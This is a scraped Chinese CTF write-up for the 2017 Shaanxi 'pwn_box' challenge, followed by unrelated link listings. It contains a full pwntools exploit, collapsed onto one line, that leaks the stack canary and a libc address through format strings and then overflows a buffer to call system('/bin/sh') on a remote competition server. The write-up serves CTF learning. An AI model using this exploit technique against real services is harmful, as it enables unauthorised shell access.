2017陕西赛pwn_box_Writeup
来源:互联网 发布:windows nt server 4.0 编辑:程序博客网 时间:2024/04/27 18:38
题目链接:BIN的Magical_Box
格式化字符串泄露Canary和libc地址
缓冲区溢出提权
from pwn import *Local = Falseif Local: io = process('./pwn_box') libc = ELF('/lib/i386-linux-gnu/libc.so.6') elf = ELF('./pwn_box')else: io = remote('117.34.80.134',7777) libc = ELF('./libc.so.6') elf = ELF('./pwn_box')def recvn(x): global io io.recvuntil(x)def recv(x): global io return io.recv(x)def send(x): global io io.sendline(x)#get Canaryrecvn('?')send('%7$p')recvn('login!')canary = recv(10)canary = int(canary,16)#log.info("canary:" + hex(canary)#get libc addressgot_puts = elf.got['puts']#log.info("got_puts:" + hex(got_puts))recvn('?')send('aa' + p32(got_puts) + "%5$s")recvn(p32(got_puts))puts_addr = io.recv(4)puts_addr = u32(puts_addr)#log.info("puts_addr:" + hex(puts_addr))#get system address && /bin/sh addresslibc_base = puts_addr - libc.symbols['puts']system_addr = libc_base + libc.symbols['system']binsh_addr = libc_base + next(libc.search('/bin/sh'))#loginusername = 'admin2017'recvn("?")send(username)#get payload#get flag:system('/bin/sh')payload = 'a' * 30payload += p32(canary)payload += 'a' * 12payload += p32(system_addr)payload += 'a' * 4payload += p32(binsh_addr)recvn("commands.\n")send('add')recvn('APP/Site: ')send('1')recvn('Username: ')send('2')recvn('Password: ')send(payload)io.interactive()
调试过程如下:
格式化字符串调试
缓冲区溢出调试
0 0
- 2017陕西赛pwn_box_Writeup
- 2017icpc全国邀请赛(陕西)
- 2017 陕西网络空间安全技术大赛writeup
- 2017ACM-ICPC全国邀请赛(陕西)
- 2014acm亚洲区域赛陕西赛总结
- 陕西多校OI模拟赛 were的笔记
- 陕西OI多校模拟赛Day4t1 A
- 【Writeup】2017陕西网络空间安全技术大赛CSTC misc部分
- 2017国际大学生程序设计大赛全国邀请赛(陕西)小结
- 2017 ICPC-ACM全国邀请赛(陕西) 随笔
- 陕西方言
- 陕西十大怪
- 陕西面馆
- 陕西十大怪
- 陕西DNS
- 陕西教师
- 陕西十大怪
- 陕西女子
- Nmap参考指南
- 设置Scrollview回到顶部
- Redis持久化原理及配置详解(RDB方式和AOF方式)
- loadview 和 viewdidload 还有 viewdidunload 调用顺序 及 关系
- Java开源连接池c3p0的基本用法
- 2017陕西赛pwn_box_Writeup
- java int类型转换成String , 不足10位 在前面补0
- manifest文件详解----uses-feature android:required
- webUploader大文件断点续传学习心得
- 设计模式C++实现(2)——策略模式
- JAVA面试题总览--JAVA基础
- 公司HP-EVA4400存储硬盘离线数据恢复方法
- PHP的抽象类、接口类的区别和选择
- jQuery插件之【jqGrid】常用语法整理-【更新】